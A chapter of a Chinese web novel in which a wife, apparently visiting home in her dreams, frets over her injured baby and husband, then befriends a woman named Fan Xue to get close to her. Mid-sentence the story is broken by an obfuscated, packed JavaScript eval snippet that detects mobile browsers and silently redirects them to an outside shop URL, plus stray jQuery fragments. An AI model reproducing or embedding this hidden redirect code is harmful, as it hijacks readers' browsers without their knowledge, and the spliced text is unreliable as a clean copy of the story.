“哦,这样啊,那孩子还好吗?”安佳钰问。
“他挺好的,你要和他讲话吗?”夏哲南单手抱着小麒麟,把听筒放在他耳边。
“啊啊啊咦呜啊…”小麒麟抱着话筒啃了起来。
“呵呵,宝宝在讲什么呢?”安佳钰心里一暖,笑了出来。
“啊呜…”听见听筒里妈妈的声音,小麒麟就更兴奋了。
夏哲南用他脖子上系的口水巾给他擦了擦口水,忍俊不禁,接过听筒对着那边说:“他听见你说话可激动了,流了好多口水。”
“你还好吗?一个人照顾孩子辛不辛苦?”安佳钰沉声道。
“不辛苦,小麒麟可好带了,你别担心,我们都好好的,你自己一个人在外边也要照顾好自己。”夏哲南温声道。
“嗯。”安佳钰鼻子一酸,平静了一下情绪说:“那没事我就先挂了。”
说完就挂断了电话。
小麒麟指着已经恢复冰冷的电话啊啊直叫。
“宝宝,电话已经挂了,咱们继续喝奶奶吧。”夏哲南举着奶瓶轻声哄道。
“昂呜~”小麒麟乖巧地喝奶。
这一天安佳钰还是按兵不动,心情忧郁地把自己关在房间里。
到了深夜,进入梦乡后,她果然又出现在了家里。
当她看见小麒麟头上缠着的纱布,心里咯噔一下。
怪不得她总觉得夏哲南的语气怪怪的,原来是小麒麟出事了。
她心疼地摸了摸他的小脑袋,对着睡梦中的小麒麟喃喃道:“乖宝宝,是不是很疼啊?”
小麒麟恰好在睡梦中无意识哼唧一声。
安佳钰心疼坏了,借着月光,呆呆地半蹲在婴儿床前看了小麒麟许久。
在腿快要全麻之前,踉踉跄跄地直起身子,蹑手蹑脚地打开房门,去了杂物间,放了一些药膏进去。
然后又返回房间,躺在夏哲南身边,用目光仔细描摹他精致的轮廓,温热的呼吸洒在夏哲南的脸上,惹得他蹙了下眉。
安佳钰轻声道了一声:“辛苦了。”
随后便拥着他入眠。
黎明破晓后,安佳钰又去了一趟电话亭,给家里拨去了电话。
夏哲南是被铃声惊醒的,他快步走下楼,接起电话:“喂,哪位?”
“老公,是我。”安佳钰说。
“宝宝,怎么了,一大早就打电话来,是出什么事情了吗?”夏哲南声音焦急起来。
“没有,就是昨天忘记说了,家里有平时可能会用到的药,感冒药,消炎药,治肠胃的药,还有治跌打损伤的药,祛疤的药……就放在杂物间里第一排的抽屉里。”安佳钰细细地叮嘱。
“怎么突然说这个?”夏哲南不解。
“没什么,就是突然想起来这件事没说,怕你们平时万一要用到,再找不到,不方便。”安佳钰蹩脚地解释。
好在夏哲南没有怀疑,他温声说:“好了,我知道了。”
“那你去看看,我在每种药的药瓶做了标记,别搞错了。”安佳钰催促道。
“好,我待会儿就去看看。”夏哲南突然垂下眸子,眼神变得幽深,喉咙一滚,沙哑道:“宝宝,你是不是想跟我说什么事?”
他有一种直觉,安佳钰已经知道小麒麟受伤的事情了,否则不会一大早就给他打电话,说药的事情。
“没有没有,我就是瞎操心。”安佳钰声音慌乱了起来,她忽然加大音量:“不聊了,我还有事,先挂了。”
挂完电话,她才松了口气,夏哲南的感觉一向很敏锐,要是说的多了,肯定会被他发现异常。
电话那头突然没有了声音,夏哲南才放下电话。
默默走到杂物间,按照安佳钰的交代,打开对应的抽屉,映入眼帘的是满满当当的药。
其中最显眼的就是祛疤的药膏,被放在最上面。
他拿起那款药膏,便出了杂物间。
解决完这件事后,安佳钰又开始日复一日地在之前和范雪偶遇过的商场里闲逛,一逛就是一整天。
大概这样逛了一个星期左右,两人又再次“偶遇”。
范雪激动不已:“佳钰,真是太巧了,咱们又碰面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14202621|150869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。”
“对了,你怎么一直也不去找我玩啊?”范雪撇嘴。
“嗐,这不是马上就要回青云县了吗?我来这边买点特产带回去。”安佳钰脸不红心不跳地撒谎。
“还花那个钱干什么?我家里多的是,你跟我回家,我拿点给你。”范雪热情地邀约。
正中安佳钰心思,她假装推拒了两下,就半推半就地跟着范雪回了家。
范雪的家里很是洋气,充满艺术气息,屋子里的各种陈设都有着自己的小巧思,看着普通寻常的,都是价值不菲的好东西。
安佳钰粗略地扫过这些东西,然后若无其事地拿起一个纯色的花瓶,问道:“这个东西在哪买的?还挺好看的。”
范雪嫣然一笑:“你也觉得好看吧,哼,我家那口子还说太丑了,果然是他审美有问题。”
像是遇到了知己,范雪热络地讲起花瓶的来历:“这个是我同学的作品,他家里是做陶瓷的,我当时一眼就相中了这个,央
求他好久才给我。”
“不过好多人都欣赏不来,觉得瓷器上面布满华丽的色彩,有复杂的图案,才好看。”
接着她语气里透着惺惺相惜道:“这还是头一次,遇到与我审美一致的。”
安佳钰是被花瓶身上的故事性所吸引,虽然它不会说话,似又说尽千言万语,让看它的人感觉到忧伤与思念。
“能烧制出这种花瓶的人,一定是个了不得的人物吧?”安佳钰感叹道。
“嗯嗯,非常的有才华,完全就是为艺术而生的,就是可惜了……”范雪眼里闪过一抹心疼与同情,抿了下嘴,不再继续这个话题。
她转而语调轻快道:“佳钰你先坐,我去拿东西给的你。”
安佳钰默了默,乖乖地坐在沙发上等她。
过了大概十分钟左右,范雪就提着大包小包的礼品盒过来,她激动道:“诺,这些够不够?”
安佳钰的本意也不是想买多少特产,主要就是为了和范雪搭关系、套近乎而已,所以她笑容恬淡:“够了,真是太感谢你了,真不知道怎么感谢你呢。”